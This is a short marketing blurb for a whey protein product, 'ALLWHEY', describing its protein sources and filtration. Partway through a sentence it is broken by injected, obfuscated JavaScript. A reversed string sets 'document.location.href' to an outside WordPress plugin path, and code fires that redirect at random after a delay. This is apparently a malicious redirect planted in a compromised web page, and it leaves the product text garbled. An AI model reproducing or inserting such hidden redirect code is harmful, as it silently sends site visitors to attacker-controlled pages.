ALLWHEY has no inferior non-whey protein sources like soy or beef. It has zero non-protein Aminos and no fillers. We use a state of the art cross flow filtration system toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring you the cleanest protein at the best price. ALLWHEY Classic stands head and shoulders above the competition with a 70% premium protein yield that is tested and guaranteed!*